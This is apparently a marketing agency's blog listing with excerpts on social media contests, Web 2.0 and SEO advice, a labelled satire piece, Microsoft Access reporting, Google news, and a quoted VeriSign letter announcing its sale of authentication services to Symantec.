Do a Social Media Contest, let’s look at how to do it right and some great examples of successful social media contests.  10 Steps to Creating an Amazing and Creative Social Media Contest Start with the End in Mind: As Steven said so well in his book 7 Habits of Highly Effective People, start with the end in mind.  What do you want to achieve from this contest and how will the contest deliver that?  It doesn’t have to be revolutionary or game changing, it can be as simple as increasing Facebook Fans. Be Creative: Often the creative aspect of the contest is more important than the prize itself.  Dunkin Donuts had a great campaign to name the next donut and it was a huge success just because it was fun.  Some example of creative social media contests are in this CMO.com slide show and this Mashable blog on 10 Creative Social Media Contests. A Prize Worth Winning:  The prize has to be worth the contests time and energy to enter and something that will ressonate with your target audience.  The exception is, as I mentioned above, some contest are just simple fun and the prize is secondary. Easy to Enter, No Complications: The contest has to be easy to enter, non-invasive (you aren’t going to stalk them), and they have to be comfortable with privacy concerns (you aren’t going to sell the list). Use Social Media Channels Effectively and Leverage Them:  Before you launch the contest determine what social media channels you are going to use (all of  them is not an answer, be specific) and how you will use each one.  In addition it is important to determine the voice and tone (style) you will use in the campaign and how the various channels will leverage each other. Establish a Timeline and End Date:  When establishing your end date make sure there is enough time to achieve your goal, the end date is close enough that there is a sense of urgency to enter and contests will see a result soon. Measure Metrics Along the Way:  Track your campaign while it is underway.  Do your Facebook Ads need different targeting or content, do your Twitter posts need different content or style, is your Youtube video getting any views or any comments?  What is the buzz and feedback so far? Adjust Your Message (ads, tweets, posts, etc):  Based on the above you may need to adjust, amplify or tone down your message. Announce the results:  So now you have achieved your goal, but wait, don’t forget to thank EVERYONE that participated and announce the results too! Review the campaign:  Now that it’s over step back and take an objective look at the results, lessons learned, what can be done better, and perhaps things that may be dropped next time.

Read more

How Web 2.0 Websites Connect with Social Networks

 How do you design a website or connect your existing website with social networks and social media? This seems easy enough, right? Add a few cute icons on the top right hand side of your website, maybe add a blog, and poof you are in Web 2.0 wonderland! I suppose you can leave it at that and many do just that and proudly proclaim they all over Web 2.0. But there is a lot more to it than adding a couple of cute icons and few links to social networks.   Connecting to Social Networks, Creating a Web 2.0 Website First let’s look at how  social networks and websites are interconnected in Web 2.0.  Note that I said “interconnected”, not just connected. Information flows between all of the various networks and websites and content is posted on each as well, thus they are interconnected, even entwined. It not enough to just connect your website to the various social networks.  To harness the full reach and power of Web 2.0 and social media you must have a presence on each of various networks or as Brian Solis put it, you must “engage”. The first obvious step is to set up your social network accounts and pages, and sadly this is as far as many go and why they consequently fail.  They create the pages and accounts, leave it on auto pilot, and wonder why nothing is happening. 7 Steps to Get Started on Web 2.0 Websites and Social Media  Set up your social network accounts: As a minimum a Facebook Page (not a profile, a Page), Twitter, LinkedIn (for your brand/business), and Blog. Branding: When setting up your accounts be consistent in the naming, e.g. use your brand name where ever possible and use it consistently. Update your Website: As a minimum add the links to your social media accounts. You should also update your website to include the Open Graph interface and the most popular Share and Like buttons for social media. Correct installation: Make sure your website links, shares, RSS, Like buttons work and work properly and it is a clean and compliant installation. If not you are wasting your time and money. Develop a Social Media strategy: Wow, here’s a concept, actually have a strategy and plan! I am being sarcastic again, but few have a Social Media strategy and plan. Invest: To be successful you must invest something even more valuable than money into the campaign, your time. Not the time of an intern or even a “expert” consultant, your time. Stick to it: Consistency is key, you have to stick to it. I have often said “blogging and Tweeting often feels like you are having a really interesting conversation with yourself”. By this I mean you will not get a lot of feedback early on and you just have to stick with it. People are listening, they just seldom give you any feedback and the silence is often deafening.

Read more

SEO Scams, You Need a New Website, is this really a Scam?

One of the most popular SEO scams to blog about is “you need a new website” to rank well.  In general I agree with the principle that a new website is not a requisite for good SEO or good search ranking performance.  However, we have run across many instances where the existing website is simply hopeless and it would be an SEO scam to take the clients money to optimize that website.  Bluntly, those websites just sucked and there was no saving them! So when do you need a new website and how can you tell if someone is scamming you for 1) you have to have a new website to rank well or 2) your website is fine send us money and we can get it ranking?  Either one could be a scam; how can you tell the difference? Do I need a New Website? 7 Reasons You need a new website. Age: if your website is over 2 years old the odds are it needs a refresh at a minimum and it may be less expensive to build a new website depending on the platform it was designed on.  If your website is over 2 years old it does not automatically mean you need a new website, however, from our experience it is usually more cost effective to develop a new website than to try to rework an old one. Flash:  If your website is done completely or largely in Flash and your homepage and key pages have all Flash you probably need a new website.  In a nutshell a Flash website is invisible to Google, Bing, and other search engines and will not rank well.  Yes you can add content to Flash websites, but our experience has been that in the end you will realize better results by developing a new website in HTML that is search engine friendly. CMS; Content Management System:  If you do not have a CMS where you can create and edit your own webpages you need a new website for this reason alone.  The benefits of being able to create and manage your own content are obvious.  With a good CMS you will be able to add content more frequently and on your own which will help your search results. Blog:  If you don’t have a blog you really should add one.  This does not require a website redesign, but may be an indication that your website is out of date. Open Graph Integration: Like and Share features and options:  Again, this can be added to any website and if your site does not have this it may be an indication that it is out of date. Website design and architecture:  This is one that only an experienced SEO technician or analyst or SEO savvy website designer can judge, but if the information architecture and website design practices are out of date it absolutely affects your search rankings and it is often easier to do a new design than to fix an poor one. How does it look:  Let’s face it, while I left this for last, one of the primary reasons most people decide to develop a new website is they are just tired of the old one and it looks dated.  This is much like deciding to remodel a house, there is no absolute need for it, it’s just time for a new look or an update. Make sure Your New Website Design Includes These Things SEO Analysis or Digital Marketing Strategy: Before you start to design your new website it is vital to clearly define your marketing goals, audience, demographic, targeted keywords etc.  An SEO analysis and information architecture is a minimum that should be done before embarking on a new website design and we highly recommend developing a complete Digital Marketing Strategy for larger campaigns, Wireframe and Design Comps:  We highly recommend that your website designer provide you with a Wireframe (essentially a line drawing sketch) first and once the basic outline concept is approved some Comps (composite drawings or renderings) of what the website will look like before you start the actual design. CMS, Content Management System:  As we mentioned above the benefits of a CMS are huge and your new website absolutely must have this feature. CMS Training:  Make sure your website design fees and services include training on your new CMS.  Most are fairly easy to use once you get the hang of it, but you want to make sure that you get trained on how to create new pages, edit pages, add pictures, create links, create blog posts, etc.  We use WordPress for nearly all of our website designs.  The WordPress CMS is very user friendly, well documented, SEO friendly, and one of the most popular platforms in use today. Content:  This may seem obivous, but it is often one of the things our clients struggle the most with.  It is absolutely, positively, a must to have great content on your website.  Your content must be relevant and comprehensive.  We recommend at least 300 words per section page or primary page. 301 redirects:  This is not part of the website design, but a critical part of the website launch and on going SEO.  A 301 redirect are much like an index for the search engines to redirect links and references from your old urls (website pages) to the pages.  If this is not done or not done correctly your new website will loose the benefit of the old website’s search rankings and your search results will actually drop in the short term.  This is a very important part of your website design and launch. Open Graph Interface & Social Media:  Make sure your new website will be compliant with and include the Open Graph Interface (Facebook Like and Share buttons that have now become a standard format) and that it links to your social media such as Facebook Page and Twitter. Blog:  Your new website should have a blog integrated into it with a link via the top navigation bar.  Your CMS should facilitate blog updates by multiple authors (WordPress supports this). eCommerce:  If you do eCommerce or are adding it make sure the new website will support payment processing and you obtain an SSL so you can securely process transactions without leaving your website. Dedicated Hosting:  This is always a debate.  We always recommend having a dedicated server for your B2B or B2C website.  Dedicated servers are more reliable and offer much faster load times which helps with SEO rankings.  If your website is a very small one or your are a very small business a virtual dedicated server may suffice.  We highly recommend that you pick a reliable host with a good reputation.  Some of the lowest price hosts have the worst reputations and this is well earned by down time, virus’, and service problems.  

Read more

Study Credits Google+ with Creating Job Demand

The US Employment and Labor Evaluation Service Study (USELESS) recently completed a study on Social Media and workplace productivity. The latest study found that the beta release of Google+ created an unexpected surge in job demand across all industries in the US.   After further research USELESS found that productivity had a sharp decrease in the weeks following the beta release of Google+ and employers were consequently forced to hire additional staff.  The study found the productivity drops were across all industries from manufacturing to retail, with technology and software industries experiencing the sharpest drop. The most notable productivity drops were at Facebook headquarters where the study found a 50% drop in productivity. No comment or explanation was available from Facebook regarding this unexpected drop, however a company spokesman stated it was unrelated and the data was certainly flawed.   Congress was quick to respond to this data and hailed Social Media as a job and economic growth engine.  Democrats  proposed more “social” programs and when pressed to explain this further stated they want “more of this”. Not to be outdone Republicans quickly issued a statement that tax credits made Social Media possible and are pressing for a quick vote to create a special Social Media tax credit for use in the work place to spur more development and hence more job creation. Both sides agree that more must be done to increase Social Media use and thereby fuel this potential economic growth engine. Several leading universities are applying for USELESS grants to study Social Media behavior and how it can be used to create jobs and economic growth while the high tech sector and a flood of start ups are in a race for USELESS small business grants to create new social networks and promote more work place use. In related news from China, the government is planning new Social Media regulations requiring all social networks to log and track time spent on social networks with stiff penalties and possible jail time for use during work time.  In a statement from the Peoples Union for Network Initiatives Safety and Hospitality (PUNISH) a spokesman stated this policy is in the best interest of China and its people to insure high productivity is maintained and to protect its people from the harmful affects of too much time wasted on social networks and overexposure to hedonistic Western culture.  Note and disclaimer: the above blog post is a satire piece by Bill Grunau and a fictionalized account and story. Just in case you couldn’t figure it out…

Read more

#SocialMedia – Community Building and the Cure for Advertisement Overload

Are you keeping up with the latest in marketing today? Are your advertising dollars being well spent? Have you dabbled in Adwords, making your own website, trying to make a lead machine out of your online presence? How is it going? No, really…how’s it going? Things aren’t the way they used to be.  People don’t browse the yellow pages, little less keep those massive things. People don’t pay attention to the sticker on your car and jot down the phone number while on the freeway, people barely read the ads on the highway that they pass day after day. They don’t even check out your website…there’s only trillions of them! What are they doing? They are on social networks…even in the car. People are checking statuses on Facebook, watching videos, texting, talking or tweeting in the car. (We know you do it too! But please don’t tweet and drive, you are endangering others!) Why do they do it? Boredom. Normally the consumer  is passively swarmed with advertisement overload. This makes for one desensitized consumer! Social Media Marketing is the way to go. Companies have more reach to the consumer now than ever before, but most aren’t utilizing it, and half of those that are aren’t doing it properly! People want entertainment! They sure aren’t going to pay attention to your boring advertisement bit. You need something fun, something interesting, something that means something to them. The best way to show this to someone is to prove you are a real person, with real opinions, and real advice. Social media lets you do this. It’s like a TV channel that is on when the person wants, they can find things, compare things, and learn to trust people rather than pages of text. The idea is that there is a real person (or group of people) behind that user name. Social media works best for the interested. Don’t like it? Tough, then you will lose one of the largest and growing advertisement mediums ever. #fail. Unfortunately, there is no way to force companies to use social media properly. We can train you, we can give you the best advice, we can even show you exactly how to tweet and who to talk to, but just like taking a horse to water, we can’t make you drink. So go ahead, don’t install twitter on your phone.  Leave peoples comments unanswered and unmoderated, spam your blogs posts and latest “product” news on your profiles. People will just ignore you. Very few people buy from the random man who enters a restaurant trying to sell watches. *hint: Do you really think about buying a watch while looking through your dinner menu? Social media is akin to community building, it is your direct audience, it is second only to personal referral, why? Because it IS personal referral. Its other people talking to and about you! Not only that but the whole of the internet can see that conversation! Learn to treat people on social media like a customer who walked in the door, or who you met on the street while buying groceries. “Follow” peoples lives. Learn to “Like” them, and then make “Connections” that will grow your business faster than you can say ‘tweet’!℠ *For those you you who didn’t get it the above was a reference to Twitter, Facebook and LinkedIn.

Read more

Microsoft Access Reporting – A Difficult Start

A client of mine has me working with Microsoft Access. Let me start by saying I am no expert in Microsoft access. I understand the principles behind SQL, as they are very similar to mySQL, but even still working with access has been interesting if not frustrating. Organized much like every other Microsoft Office product, Access menus and options are in the Ribbon. Finding what I have needed has been difficult, not to mention trying to decrypt MS Access terminology. Using a GUI for Database manipulation has been difficult as well and trying to get things to show up without a web interface has been frustrating. MS Access is a powerful tool though, once I set up my table relationships, perfected my queries and showed my client how pivot tables work, I ran into the next problem..reporting. I am struggling to understand how MS accesses reporting tool works. I can get it to display some of the reports I need…but not all. This probably has to do with the fact I have never used their reporting tool beyond today. I’ll probably get it right tomorrow…being a Technomancer and all. The Database Setup took just a couple hours, after massaging Data that my client had from various sources into one accurate list (without duplicates). Being an autodidact has its benefits. Although I’m wishing I would have paid more attention that that MS Access portion of the office product classes I took many moons ago. One of the most helpful resources so far has been Crystal’s Access Basic Tutorial. Bless her for writing it. I found her resource on Utter microsoft access forums, a place I may frequent much more often from now on. I recommend checking these out for anyone else starting off with Microsoft Access. My recommendation though, stick with PHP and mySQL, write your own reports and front ends on the web so that the data is easier to access, manipulate and remains out of Microsoft’s proprietary clutches. Avoid them as much as possible…offer open source alternatives…unless the client insists on using them of course!  

Read more

Googles Caffeine – New Faster Search Engine Indexing

Google’s Caffeine indexing platform was just released yesterday. The web will now be indexed faster in a more “real-time” algorithmic process. Basically all the different qualifications that go into the search indexing formula will be piece-mealed in and compared to the the entire database in real time as opposed to building stack by stack of data over time in order to run the sort query and seeing major changes only pushed out after long periods of time and data analysis.*cough, wheeze, gasp* What does it mean for SEO? It means the possibility that a new site will be indexed faster. We may start to see rankings rise at a rapid pace as we tweak and influence our sites for performance and SEO “friendliness”. I am looking forward to seeing reports from the SEO field stating rapid changes instead of slow dreadful ones. Maybe now all those scam filled SEO companies won’t be able to promise results without a 6 months – 1 year contract.  

Read more

Playable Pacman on Google Home Page

Hilarious, Google places playable pacman game on front page of Google.com, causing countless billions of wasted hours today. Very cute “Insert Coin” button there. Creative!! I love it! Figures, it runs like crap on IE, but runs smooth as silk on Firefox and Chrome…could it be HTML5? Will we see more of this to come? I sure hope so! The web is changing rapidly, as is all of our communications technology. Just look at Google IO 2010. Lot’s of exciting things to come…like Flash for Android!!  

Read more

Symantec Buys Verisign

Looks like Symantec bought Verisign…boo! I got this e-mail today, just a couple of minutes ago. Dear VeriSign Customer, I am writing to inform you that VeriSign has signed a definitive agreement to sell our Authentication Services business to Symantec, a premier end-to-end Internet security provider with extensive distribution, broad product offerings and integrated service delivery. Upon closing of the transaction, the VeriSign Authentication Business, which includes the PKI, VIP and SSL assets, will become part of the Security and Compliance Group at Symantec, and VeriSign’s network infrastructure and domain name business will continue to exist as a separate independent company retaining the VeriSign name. Certain Authentication related brands and trademarks, such as VeriSign’s check mark, will be included in the transfer from VeriSign to Symantec. VeriSign will retain its corporate name and utilize it for our remaining business. In the last few years, the industry has seen consolidation in the security market, and we have heard repeatedly from you, our customers, of your interest in having our offerings integrated into a larger services suite. The combination of VeriSign’s market-leading SSL, PKI and VIP product lines with Symantec’s broad portfolio of information security solutions delivers on this request. You will now be able to authenticate your business, secure your website and transactions, safeguard your corporate network, and protect employee accounts and devices with a suite of products from a single company. Over the years you have supported us with your business and helped guide us on our product development and company strategy. It is because of this that VeriSign has category-leading products and is a brand synonymous with trust on the Internet. I’d like to emphasize that we plan to continue this effort during the transition period and onward. Additionally, you can expect the following from us going forward: – Continued product support and service. All VeriSign product and support contract obligations will be upheld. Nothing changes here. All support procedures, announced support timelines, and contacts remain unchanged, so please continue to use the same account management, sales, product, business and customer support channels you’ve been using. – Continued access to personnel and management. To help ensure a quick and seamless integration in conjunction with uninterrupted continuity of your services, Authentication Business leads Atri Chatterjee and Fran Rosch will remain with the business along with most of the Authentication Service employees. Additionally, your VeriSign points of contact will remain the same throughout the closing process, which we anticipate will be within 60 to 90 days. Any changes after that will be announced well in advance ensuring that the transition is smooth. – Improved technology and product synergies. We expect customers will benefit from the broader, complementary product offerings brought by the VeriSign Authentication Business and Symantec: from leveraging Symantec’s security research and analysis technology to including strong authentication as a core component of data leak prevention. We are dedicated to bringing world class services to our world class customers. Please do not hesitate to reach out to your local point of contact if you have any questions or concerns. Thank you for your continued support.   Sincerely, Mark McLaughlin President and CEO VeriSign, Inc.  

Read more